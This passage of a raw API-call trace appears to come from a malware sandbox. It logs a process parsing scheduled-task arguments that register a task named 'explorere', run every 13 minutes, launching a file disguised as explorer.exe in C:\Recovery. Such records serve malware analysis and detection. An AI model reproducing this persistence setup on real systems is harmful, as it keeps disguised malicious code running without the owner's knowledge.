GetProcessHeap () returned 0x250000 [0137.339] RtlAllocateHeap (HeapHandle=0x250000, Flags=0xc, Size=0x20) returned 0x26cc10 [0137.339] SetLastError (dwErrCode=0x0) [0137.339] SetLastError (dwErrCode=0x0) [0137.339] lstrlenW (lpString="explorere") returned 9 [0137.339] lstrlenW (lpString="-/") returned 2 [0137.339] StrChrIW (lpStart="-/", wMatch=0x65) returned 0x0 [0137.339] SetLastError (dwErrCode=0x490) [0137.339] SetLastError (dwErrCode=0x490) [0137.339] SetLastError (dwErrCode=0x0) [0137.339] lstrlenW (lpString="explorere") returned 9 [0137.339] StrChrIW (lpStart="explorere", wMatch=0x3a) returned 0x0 [0137.339] SetLastError (dwErrCode=0x490) [0137.339] SetLastError (dwErrCode=0x0) [0137.339] lstrlenW (lpString="explorere") returned 9 [0137.339] GetProcessHeap () returned 0x250000 [0137.339] RtlAllocateHeap (HeapHandle=0x250000, Flags=0xc, Size=0x14) returned 0x26c290 [0137.339] GetProcessHeap () returned 0x250000 [0137.339] RtlAllocateHeap (HeapHandle=0x250000, Flags=0xc, Size=0x20) returned 0x26cc40 [0137.339] SetLastError (dwErrCode=0x0) [0137.339] SetLastError (dwErrCode=0x0) [0137.339] lstrlenW (lpString="/sc") returned 3 [0137.339] lstrlenW (lpString="-/") returned 2 [0137.339] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0137.340] lstrlenW (lpString="?") returned 1 [0137.340] lstrlenW (lpString="?") returned 1 [0137.340] _memicmp (_Buf1=0x26c1e0, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0137.340] lstrlenW (lpString="sc") returned 2 [0137.340] _memicmp (_Buf1=0x26c220, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0137.340] _vsnwprintf (in: _Buffer=0x26c260, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1ff4f8 | out: _Buffer="|?|") returned 3 [0137.340] _vsnwprintf (in: _Buffer=0x26c240, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1ff4f8 | out: _Buffer="|sc|") returned 4 [0137.340] lstrlenW (lpString="|?|") returned 3 [0137.340] lstrlenW (lpString="|sc|") returned 4 [0137.340] SetLastError (dwErrCode=0x490) [0137.340] lstrlenW (lpString="create") returned 6 [0137.340] lstrlenW (lpString="create") returned 6 [0137.340] _memicmp (_Buf1=0x26c1e0, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0137.340] lstrlenW (lpString="sc") returned 2 [0137.340] _memicmp (_Buf1=0x26c220, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0137.340] _vsnwprintf (in: _Buffer=0x26c260, _BufferCount=0x9, _Format="|%s|", _ArgList=0x1ff4f8 | out: _Buffer="|create|") returned 8 [0137.340] _vsnwprintf (in: _Buffer=0x26c240, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1ff4f8 | out: _Buffer="|sc|") returned 4 [0137.340] lstrlenW (lpString="|create|") returned 8 [0137.340] lstrlenW (lpString="|sc|") returned 4 [0137.340] StrStrIW (lpFirst="|create|", lpSrch="|sc|") returned 0x0 [0137.340] SetLastError (dwErrCode=0x490) [0137.340] lstrlenW (lpString="delete") returned 6 [0137.340] lstrlenW (lpString="delete") returned 6 [0137.340] _memicmp (_Buf1=0x26c1e0, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0137.340] lstrlenW (lpString="sc") returned 2 [0137.340] _memicmp (_Buf1=0x26c220, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0137.341] _vsnwprintf (in: _Buffer=0x26c260, _BufferCount=0x9, _Format="|%s|", _ArgList=0x1ff4f8 | out: _Buffer="|delete|") returned 8 [0137.341] _vsnwprintf (in: _Buffer=0x26c240, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1ff4f8 | out: _Buffer="|sc|") returned 4 [0137.341] lstrlenW (lpString="|delete|") returned 8 [0137.341] lstrlenW (lpString="|sc|") returned 4 [0137.341] StrStrIW (lpFirst="|delete|", lpSrch="|sc|") returned 0x0 [0137.341] SetLastError (dwErrCode=0x490) [0137.341] lstrlenW (lpString="query") returned 5 [0137.341] lstrlenW (lpString="query") returned 5 [0137.341] _memicmp (_Buf1=0x26c1e0, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0137.341] lstrlenW (lpString="sc") returned 2 [0137.341] _memicmp (_Buf1=0x26c220, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0137.341] _vsnwprintf (in: _Buffer=0x26c260, _BufferCount=0x8, _Format="|%s|", _ArgList=0x1ff4f8 | out: _Buffer="|query|") returned 7 [0137.341] _vsnwprintf (in: _Buffer=0x26c240, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1ff4f8 | out: _Buffer="|sc|") returned 4 [0137.341] lstrlenW (lpString="|query|") returned 7 [0137.341] lstrlenW (lpString="|sc|") returned 4 [0137.341] StrStrIW (lpFirst="|query|", lpSrch="|sc|") returned 0x0 [0137.341] SetLastError (dwErrCode=0x490) [0137.341] lstrlenW (lpString="change") returned 6 [0137.341] lstrlenW (lpString="change") returned 6 [0137.341] _memicmp (_Buf1=0x26c1e0, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0137.341] lstrlenW (lpString="sc") returned 2 [0137.341] _memicmp (_Buf1=0x26c220, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0137.341] _vsnwprintf (in: _Buffer=0x26c260, _BufferCount=0x9, _Format="|%s|", _ArgList=0x1ff4f8 | out: _Buffer="|change|") returned 8 [0137.341] _vsnwprintf (in: _Buffer=0x26c240, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1ff4f8 | out: _Buffer="|sc|") returned 4 [0137.341] lstrlenW (lpString="|change|") returned 8 [0137.341] lstrlenW (lpString="|sc|") returned 4 [0137.341] StrStrIW (lpFirst="|change|", lpSrch="|sc|") returned 0x0 [0137.342] SetLastError (dwErrCode=0x490) [0137.342] lstrlenW (lpString="run") returned 3 [0137.342] lstrlenW (lpString="run") returned 3 [0137.342] _memicmp (_Buf1=0x26c1e0, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0137.342] lstrlenW (lpString="sc") returned 2 [0137.342] _memicmp (_Buf1=0x26c220, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0137.342] _vsnwprintf (in: _Buffer=0x26c260, _BufferCount=0x6, _Format="|%s|", _ArgList=0x1ff4f8 | out: _Buffer="|run|") returned 5 [0137.342] _vsnwprintf (in: _Buffer=0x26c240, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1ff4f8 | out: _Buffer="|sc|") returned 4 [0137.342] lstrlenW (lpString="|run|") returned 5 [0137.342] lstrlenW (lpString="|sc|") returned 4 [0137.342] StrStrIW (lpFirst="|run|", lpSrch="|sc|") returned 0x0 [0137.342] SetLastError (dwErrCode=0x490) [0137.342] lstrlenW (lpString="end") returned 3 [0137.342] lstrlenW (lpString="end") returned 3 [0137.342] _memicmp (_Buf1=0x26c1e0, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0137.342] lstrlenW (lpString="sc") returned 2 [0137.342] _memicmp (_Buf1=0x26c220, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0137.342] _vsnwprintf (in: _Buffer=0x26c260, _BufferCount=0x6, _Format="|%s|", _ArgList=0x1ff4f8 | out: _Buffer="|end|") returned 5 [0137.342] _vsnwprintf (in: _Buffer=0x26c240, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1ff4f8 | out: _Buffer="|sc|") returned 4 [0137.342] lstrlenW (lpString="|end|") returned 5 [0137.342] lstrlenW (lpString="|sc|") returned 4 [0137.342] StrStrIW (lpFirst="|end|", lpSrch="|sc|") returned 0x0 [0137.342] SetLastError (dwErrCode=0x490) [0137.342] lstrlenW (lpString="showsid") returned 7 [0137.342] lstrlenW (lpString="showsid") returned 7 [0137.342] _memicmp (_Buf1=0x26c1e0, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0137.342] lstrlenW (lpString="sc") returned 2 [0137.343] _memicmp (_Buf1=0x26c220, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0137.343] _vsnwprintf (in: _Buffer=0x26c260, _BufferCount=0xa, _Format="|%s|", _ArgList=0x1ff4f8 | out: _Buffer="|showsid|") returned 9 [0137.343] _vsnwprintf (in: _Buffer=0x26c240, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1ff4f8 | out: _Buffer="|sc|") returned 4 [0137.343] lstrlenW (lpString="|showsid|") returned 9 [0137.343] lstrlenW (lpString="|sc|") returned 4 [0137.343] StrStrIW (lpFirst="|showsid|", lpSrch="|sc|") returned 0x0 [0137.343] SetLastError (dwErrCode=0x490) [0137.343] SetLastError (dwErrCode=0x490) [0137.343] SetLastError (dwErrCode=0x0) [0137.343] lstrlenW (lpString="/sc") returned 3 [0137.343] StrChrIW (lpStart="/sc", wMatch=0x3a) returned 0x0 [0137.343] SetLastError (dwErrCode=0x490) [0137.343] SetLastError (dwErrCode=0x0) [0137.343] lstrlenW (lpString="/sc") returned 3 [0137.343] GetProcessHeap () returned 0x250000 [0137.343] RtlAllocateHeap (HeapHandle=0x250000, Flags=0xc, Size=0x8) returned 0x26c2b0 [0137.343] GetProcessHeap () returned 0x250000 [0137.343] RtlAllocateHeap (HeapHandle=0x250000, Flags=0xc, Size=0x20) returned 0x26cc70 [0137.343] SetLastError (dwErrCode=0x0) [0137.343] SetLastError (dwErrCode=0x0) [0137.343] lstrlenW (lpString="MINUTE") returned 6 [0137.343] lstrlenW (lpString="-/") returned 2 [0137.343] StrChrIW (lpStart="-/", wMatch=0x4d) returned 0x0 [0137.343] SetLastError (dwErrCode=0x490) [0137.343] SetLastError (dwErrCode=0x490) [0137.343] SetLastError (dwErrCode=0x0) [0137.343] lstrlenW (lpString="MINUTE") returned 6 [0137.343] StrChrIW (lpStart="MINUTE", wMatch=0x3a) returned 0x0 [0137.343] SetLastError (dwErrCode=0x490) [0137.343] SetLastError (dwErrCode=0x0) [0137.343] lstrlenW (lpString="MINUTE") returned 6 [0137.344] GetProcessHeap () returned 0x250000 [0137.344] RtlAllocateHeap (HeapHandle=0x250000, Flags=0xc, Size=0xe) returned 0x26c2d0 [0137.344] GetProcessHeap () returned 0x250000 [0137.344] RtlAllocateHeap (HeapHandle=0x250000, Flags=0xc, Size=0x20) returned 0x26cca0 [0137.344] SetLastError (dwErrCode=0x0) [0137.344] SetLastError (dwErrCode=0x0) [0137.344] lstrlenW (lpString="/mo") returned 3 [0137.344] lstrlenW (lpString="-/") returned 2 [0137.344] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0137.344] lstrlenW (lpString="?") returned 1 [0137.344] lstrlenW (lpString="?") returned 1 [0137.344] _memicmp (_Buf1=0x26c1e0, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0137.344] lstrlenW (lpString="mo") returned 2 [0137.344] _memicmp (_Buf1=0x26c220, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0137.344] _vsnwprintf (in: _Buffer=0x26c260, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1ff4f8 | out: _Buffer="|?|") returned 3 [0137.344] _vsnwprintf (in: _Buffer=0x26c240, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1ff4f8 | out: _Buffer="|mo|") returned 4 [0137.344] lstrlenW (lpString="|?|") returned 3 [0137.344] lstrlenW (lpString="|mo|") returned 4 [0137.344] SetLastError (dwErrCode=0x490) [0137.344] lstrlenW (lpString="create") returned 6 [0137.344] lstrlenW (lpString="create") returned 6 [0137.344] _memicmp (_Buf1=0x26c1e0, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0137.344] lstrlenW (lpString="mo") returned 2 [0137.344] _memicmp (_Buf1=0x26c220, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0137.344] _vsnwprintf (in: _Buffer=0x26c260, _BufferCount=0x9, _Format="|%s|", _ArgList=0x1ff4f8 | out: _Buffer="|create|") returned 8 [0137.344] _vsnwprintf (in: _Buffer=0x26c240, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1ff4f8 | out: _Buffer="|mo|") returned 4 [0137.344] lstrlenW (lpString="|create|") returned 8 [0137.344] lstrlenW (lpString="|mo|") returned 4 [0137.345] StrStrIW (lpFirst="|create|", lpSrch="|mo|") returned 0x0 [0137.345] SetLastError (dwErrCode=0x490) [0137.345] lstrlenW (lpString="delete") returned 6 [0137.345] lstrlenW (lpString="delete") returned 6 [0137.345] _memicmp (_Buf1=0x26c1e0, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0137.345] lstrlenW (lpString="mo") returned 2 [0137.345] _memicmp (_Buf1=0x26c220, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0137.345] _vsnwprintf (in: _Buffer=0x26c260, _BufferCount=0x9, _Format="|%s|", _ArgList=0x1ff4f8 | out: _Buffer="|delete|") returned 8 [0137.345] _vsnwprintf (in: _Buffer=0x26c240, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1ff4f8 | out: _Buffer="|mo|") returned 4 [0137.345] lstrlenW (lpString="|delete|") returned 8 [0137.345] lstrlenW (lpString="|mo|") returned 4 [0137.345] StrStrIW (lpFirst="|delete|", lpSrch="|mo|") returned 0x0 [0137.345] SetLastError (dwErrCode=0x490) [0137.345] lstrlenW (lpString="query") returned 5 [0137.345] lstrlenW (lpString="query") returned 5 [0137.345] _memicmp (_Buf1=0x26c1e0, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0137.345] lstrlenW (lpString="mo") returned 2 [0137.345] _memicmp (_Buf1=0x26c220, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0137.345] _vsnwprintf (in: _Buffer=0x26c260, _BufferCount=0x8, _Format="|%s|", _ArgList=0x1ff4f8 | out: _Buffer="|query|") returned 7 [0137.345] _vsnwprintf (in: _Buffer=0x26c240, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1ff4f8 | out: _Buffer="|mo|") returned 4 [0137.345] lstrlenW (lpString="|query|") returned 7 [0137.345] lstrlenW (lpString="|mo|") returned 4 [0137.345] StrStrIW (lpFirst="|query|", lpSrch="|mo|") returned 0x0 [0137.345] SetLastError (dwErrCode=0x490) [0137.345] lstrlenW (lpString="change") returned 6 [0137.345] lstrlenW (lpString="change") returned 6 [0137.345] _memicmp (_Buf1=0x26c1e0, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0137.346] lstrlenW (lpString="mo") returned 2 [0137.346] _memicmp (_Buf1=0x26c220, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0137.346] _vsnwprintf (in: _Buffer=0x26c260, _BufferCount=0x9, _Format="|%s|", _ArgList=0x1ff4f8 | out: _Buffer="|change|") returned 8 [0137.346] _vsnwprintf (in: _Buffer=0x26c240, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1ff4f8 | out: _Buffer="|mo|") returned 4 [0137.346] lstrlenW (lpString="|change|") returned 8 [0137.346] lstrlenW (lpString="|mo|") returned 4 [0137.346] StrStrIW (lpFirst="|change|", lpSrch="|mo|") returned 0x0 [0137.346] SetLastError (dwErrCode=0x490) [0137.346] lstrlenW (lpString="run") returned 3 [0137.346] lstrlenW (lpString="run") returned 3 [0137.346] _memicmp (_Buf1=0x26c1e0, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0137.346] lstrlenW (lpString="mo") returned 2 [0137.346] _memicmp (_Buf1=0x26c220, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0137.346] _vsnwprintf (in: _Buffer=0x26c260, _BufferCount=0x6, _Format="|%s|", _ArgList=0x1ff4f8 | out: _Buffer="|run|") returned 5 [0137.346] _vsnwprintf (in: _Buffer=0x26c240, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1ff4f8 | out: _Buffer="|mo|") returned 4 [0137.346] lstrlenW (lpString="|run|") returned 5 [0137.346] lstrlenW (lpString="|mo|") returned 4 [0137.346] StrStrIW (lpFirst="|run|", lpSrch="|mo|") returned 0x0 [0137.346] SetLastError (dwErrCode=0x490) [0137.346] lstrlenW (lpString="end") returned 3 [0137.346] lstrlenW (lpString="end") returned 3 [0137.346] _memicmp (_Buf1=0x26c1e0, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0137.346] lstrlenW (lpString="mo") returned 2 [0137.346] _memicmp (_Buf1=0x26c220, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0137.346] _vsnwprintf (in: _Buffer=0x26c260, _BufferCount=0x6, _Format="|%s|", _ArgList=0x1ff4f8 | out: _Buffer="|end|") returned 5 [0137.346] _vsnwprintf (in: _Buffer=0x26c240, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1ff4f8 | out: _Buffer="|mo|") returned 4 [0137.346] lstrlenW (lpString="|end|") returned 5 [0137.347] lstrlenW (lpString="|mo|") returned 4 [0137.347] StrStrIW (lpFirst="|end|", lpSrch="|mo|") returned 0x0 [0137.347] SetLastError (dwErrCode=0x490) [0137.347] lstrlenW (lpString="showsid") returned 7 [0137.347] lstrlenW (lpString="showsid") returned 7 [0137.347] _memicmp (_Buf1=0x26c1e0, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0137.347] lstrlenW (lpString="mo") returned 2 [0137.347] _memicmp (_Buf1=0x26c220, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0137.347] _vsnwprintf (in: _Buffer=0x26c260, _BufferCount=0xa, _Format="|%s|", _ArgList=0x1ff4f8 | out: _Buffer="|showsid|") returned 9 [0137.347] _vsnwprintf (in: _Buffer=0x26c240, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1ff4f8 | out: _Buffer="|mo|") returned 4 [0137.347] lstrlenW (lpString="|showsid|") returned 9 [0137.347] lstrlenW (lpString="|mo|") returned 4 [0137.347] StrStrIW (lpFirst="|showsid|", lpSrch="|mo|") returned 0x0 [0137.347] SetLastError (dwErrCode=0x490) [0137.347] SetLastError (dwErrCode=0x490) [0137.347] SetLastError (dwErrCode=0x0) [0137.347] lstrlenW (lpString="/mo") returned 3 [0137.347] StrChrIW (lpStart="/mo", wMatch=0x3a) returned 0x0 [0137.347] SetLastError (dwErrCode=0x490) [0137.347] SetLastError (dwErrCode=0x0) [0137.347] lstrlenW (lpString="/mo") returned 3 [0137.347] GetProcessHeap () returned 0x250000 [0137.347] RtlAllocateHeap (HeapHandle=0x250000, Flags=0xc, Size=0x8) returned 0x26c2f0 [0137.347] GetProcessHeap () returned 0x250000 [0137.347] RtlAllocateHeap (HeapHandle=0x250000, Flags=0xc, Size=0x20) returned 0x26ccd0 [0137.347] SetLastError (dwErrCode=0x0) [0137.347] SetLastError (dwErrCode=0x0) [0137.347] lstrlenW (lpString="13") returned 2 [0137.347] lstrlenW (lpString="-/") returned 2 [0137.348] StrChrIW (lpStart="-/", wMatch=0x31) returned 0x0 [0137.348] SetLastError (dwErrCode=0x490) [0137.348] SetLastError (dwErrCode=0x490) [0137.348] SetLastError (dwErrCode=0x0) [0137.348] lstrlenW (lpString="13") returned 2 [0137.348] StrChrIW (lpStart="13", wMatch=0x3a) returned 0x0 [0137.348] SetLastError (dwErrCode=0x490) [0137.348] SetLastError (dwErrCode=0x0) [0137.348] lstrlenW (lpString="13") returned 2 [0137.348] GetProcessHeap () returned 0x250000 [0137.348] RtlAllocateHeap (HeapHandle=0x250000, Flags=0xc, Size=0x6) returned 0x26c310 [0137.348] GetProcessHeap () returned 0x250000 [0137.348] RtlAllocateHeap (HeapHandle=0x250000, Flags=0xc, Size=0x20) returned 0x26cd00 [0137.348] SetLastError (dwErrCode=0x0) [0137.348] SetLastError (dwErrCode=0x0) [0137.348] lstrlenW (lpString="/tr") returned 3 [0137.348] lstrlenW (lpString="-/") returned 2 [0137.348] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0137.348] lstrlenW (lpString="?") returned 1 [0137.348] lstrlenW (lpString="?") returned 1 [0137.348] _memicmp (_Buf1=0x26c1e0, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0137.348] lstrlenW (lpString="tr") returned 2 [0137.348] _memicmp (_Buf1=0x26c220, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0137.348] _vsnwprintf (in: _Buffer=0x26c260, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1ff4f8 | out: _Buffer="|?|") returned 3 [0137.348] _vsnwprintf (in: _Buffer=0x26c240, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1ff4f8 | out: _Buffer="|tr|") returned 4 [0137.348] lstrlenW (lpString="|?|") returned 3 [0137.348] lstrlenW (lpString="|tr|") returned 4 [0137.348] SetLastError (dwErrCode=0x490) [0137.348] lstrlenW (lpString="create") returned 6 [0137.348] lstrlenW (lpString="create") returned 6 [0137.349] _memicmp (_Buf1=0x26c1e0, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0137.349] lstrlenW (lpString="tr") returned 2 [0137.349] _memicmp (_Buf1=0x26c220, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0137.349] _vsnwprintf (in: _Buffer=0x26c260, _BufferCount=0x9, _Format="|%s|", _ArgList=0x1ff4f8 | out: _Buffer="|create|") returned 8 [0137.349] _vsnwprintf (in: _Buffer=0x26c240, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1ff4f8 | out: _Buffer="|tr|") returned 4 [0137.349] lstrlenW (lpString="|create|") returned 8 [0137.349] lstrlenW (lpString="|tr|") returned 4 [0137.349] StrStrIW (lpFirst="|create|", lpSrch="|tr|") returned 0x0 [0137.349] SetLastError (dwErrCode=0x490) [0137.349] lstrlenW (lpString="delete") returned 6 [0137.349] lstrlenW (lpString="delete") returned 6 [0137.349] _memicmp (_Buf1=0x26c1e0, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0137.349] lstrlenW (lpString="tr") returned 2 [0137.349] _memicmp (_Buf1=0x26c220, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0137.349] _vsnwprintf (in: _Buffer=0x26c260, _BufferCount=0x9, _Format="|%s|", _ArgList=0x1ff4f8 | out: _Buffer="|delete|") returned 8 [0137.349] _vsnwprintf (in: _Buffer=0x26c240, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1ff4f8 | out: _Buffer="|tr|") returned 4 [0137.349] lstrlenW (lpString="|delete|") returned 8 [0137.349] lstrlenW (lpString="|tr|") returned 4 [0137.349] StrStrIW (lpFirst="|delete|", lpSrch="|tr|") returned 0x0 [0137.349] SetLastError (dwErrCode=0x490) [0137.349] lstrlenW (lpString="query") returned 5 [0137.349] lstrlenW (lpString="query") returned 5 [0137.349] _memicmp (_Buf1=0x26c1e0, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0137.349] lstrlenW (lpString="tr") returned 2 [0137.349] _memicmp (_Buf1=0x26c220, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0137.349] _vsnwprintf (in: _Buffer=0x26c260, _BufferCount=0x8, _Format="|%s|", _ArgList=0x1ff4f8 | out: _Buffer="|query|") returned 7 [0137.350] _vsnwprintf (in: _Buffer=0x26c240, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1ff4f8 | out: _Buffer="|tr|") returned 4 [0137.350] lstrlenW (lpString="|query|") returned 7 [0137.350] lstrlenW (lpString="|tr|") returned 4 [0137.350] StrStrIW (lpFirst="|query|", lpSrch="|tr|") returned 0x0 [0137.350] SetLastError (dwErrCode=0x490) [0137.350] lstrlenW (lpString="change") returned 6 [0137.350] lstrlenW (lpString="change") returned 6 [0137.350] _memicmp (_Buf1=0x26c1e0, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0137.350] lstrlenW (lpString="tr") returned 2 [0137.350] _memicmp (_Buf1=0x26c220, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0137.350] _vsnwprintf (in: _Buffer=0x26c260, _BufferCount=0x9, _Format="|%s|", _ArgList=0x1ff4f8 | out: _Buffer="|change|") returned 8 [0137.350] _vsnwprintf (in: _Buffer=0x26c240, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1ff4f8 | out: _Buffer="|tr|") returned 4 [0137.350] lstrlenW (lpString="|change|") returned 8 [0137.350] lstrlenW (lpString="|tr|") returned 4 [0137.350] StrStrIW (lpFirst="|change|", lpSrch="|tr|") returned 0x0 [0137.371] SetLastError (dwErrCode=0x490) [0137.371] lstrlenW (lpString="run") returned 3 [0137.371] lstrlenW (lpString="run") returned 3 [0137.371] _memicmp (_Buf1=0x26c1e0, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0137.371] lstrlenW (lpString="tr") returned 2 [0137.371] _memicmp (_Buf1=0x26c220, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0137.371] _vsnwprintf (in: _Buffer=0x26c260, _BufferCount=0x6, _Format="|%s|", _ArgList=0x1ff4f8 | out: _Buffer="|run|") returned 5 [0137.371] _vsnwprintf (in: _Buffer=0x26c240, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1ff4f8 | out: _Buffer="|tr|") returned 4 [0137.371] lstrlenW (lpString="|run|") returned 5 [0137.371] lstrlenW (lpString="|tr|") returned 4 [0137.371] StrStrIW (lpFirst="|run|", lpSrch="|tr|") returned 0x0 [0137.371] SetLastError (dwErrCode=0x490) [0137.371] lstrlenW (lpString="end") returned 3 [0137.371] lstrlenW (lpString="end") returned 3 [0137.371] _memicmp (_Buf1=0x26c1e0, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0137.372] lstrlenW (lpString="tr") returned 2 [0137.372] _memicmp (_Buf1=0x26c220, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0137.372] _vsnwprintf (in: _Buffer=0x26c260, _BufferCount=0x6, _Format="|%s|", _ArgList=0x1ff4f8 | out: _Buffer="|end|") returned 5 [0137.372] _vsnwprintf (in: _Buffer=0x26c240, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1ff4f8 | out: _Buffer="|tr|") returned 4 [0137.372] lstrlenW (lpString="|end|") returned 5 [0137.372] lstrlenW (lpString="|tr|") returned 4 [0137.372] StrStrIW (lpFirst="|end|", lpSrch="|tr|") returned 0x0 [0137.372] SetLastError (dwErrCode=0x490) [0137.372] lstrlenW (lpString="showsid") returned 7 [0137.372] lstrlenW (lpString="showsid") returned 7 [0137.372] _memicmp (_Buf1=0x26c1e0, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0137.372] lstrlenW (lpString="tr") returned 2 [0137.372] _memicmp (_Buf1=0x26c220, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0137.372] _vsnwprintf (in: _Buffer=0x26c260, _BufferCount=0xa, _Format="|%s|", _ArgList=0x1ff4f8 | out: _Buffer="|showsid|") returned 9 [0137.372] _vsnwprintf (in: _Buffer=0x26c240, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1ff4f8 | out: _Buffer="|tr|") returned 4 [0137.372] lstrlenW (lpString="|showsid|") returned 9 [0137.372] lstrlenW (lpString="|tr|") returned 4 [0137.372] StrStrIW (lpFirst="|showsid|", lpSrch="|tr|") returned 0x0 [0137.372] SetLastError (dwErrCode=0x490) [0137.372] SetLastError (dwErrCode=0x490) [0137.372] SetLastError (dwErrCode=0x0) [0137.372] lstrlenW (lpString="/tr") returned 3 [0137.372] StrChrIW (lpStart="/tr", wMatch=0x3a) returned 0x0 [0137.372] SetLastError (dwErrCode=0x490) [0137.372] SetLastError (dwErrCode=0x0) [0137.372] lstrlenW (lpString="/tr") returned 3 [0137.373] GetProcessHeap () returned 0x250000 [0137.373] RtlAllocateHeap (HeapHandle=0x250000, Flags=0xc, Size=0x8) returned 0x26c330 [0137.373] GetProcessHeap () returned 0x250000 [0137.373] RtlAllocateHeap (HeapHandle=0x250000, Flags=0xc, Size=0x20) returned 0x26cd30 [0137.373] SetLastError (dwErrCode=0x0) [0137.373] SetLastError (dwErrCode=0x0) [0137.373] lstrlenW (lpString="'C:\\Recovery\\d327d5c2-7147-11eb-9862-d731c5aaa7a9\\explorer.exe'") returned 63 [0137.373] lstrlenW (lpString="-/") returned 2 [0137.373] StrChrIW (lpStart="-/", wMatch=0x27) returned 0x0 [0137.373] SetLastError (dwErrCode=0x490) [0137.373] SetLastError (dwErrCode=0x490) [0137.373] SetLastError (dwErrCode=0x0) [0137.373] lstrlenW (lpString="'C:\\Recovery\\d327d5c2-7147-11eb-9862-d731c5aaa7a9\\explorer.exe'") returned 63 [0137.373] StrChrIW (lpStart="'C:\\Recovery\\d327d5c2-7147-11eb-9862-d731c5aaa7a9\\explorer.exe'", wMatch=0x3a) returned=":\\Recovery\\d327d5c2-7147-11eb-9862-d731c5aaa7a9\\explorer.exe'" [0137.373] lstrlenW (lpString="'C:\\Recovery\\d327d5c2-7147-11eb-9862-d731c5aaa7a9\\explorer.exe'") returned 63 [0137.373] GetProcessHeap () returned 0x250000 [0137.373] RtlAllocateHeap (HeapHandle=0x250000, Flags=0xc, Size=0x18) returned 0x26c350 [0137.373] _memicmp (_Buf1=0x26c350, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0137.373] GetProcessHeap () returned 0x250000 [0137.373] RtlAllocateHeap (HeapHandle=0x250000, Flags=0xc, Size=0xe) returned 0x26c370 [0137.373] GetProcessHeap () returned 0x250000 [0137.373] RtlAllocateHeap (HeapHandle=0x250000, Flags=0xc, Size=0x18) returned 0x26d500 [0137.373] _memicmp (_Buf1=0x26d500, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0137.373] GetProcessHeap () returned 0x250000 [0137.373] RtlAllocateHeap (HeapHandle=0x250000, Flags=0xc, Size=0x82) returned 0x26dcd0 [0137.374] SetLastError (dwErrCode=0x7a) [0137.374] SetLastError (dwErrCode=0x0) [0137.374] SetLastError (dwErrCode=0x0) [0137.374] lstrlenW (lpString="'C") returned 2 [0137.374] lstrlenW (lpString="-/") returned 2 [0137.374] 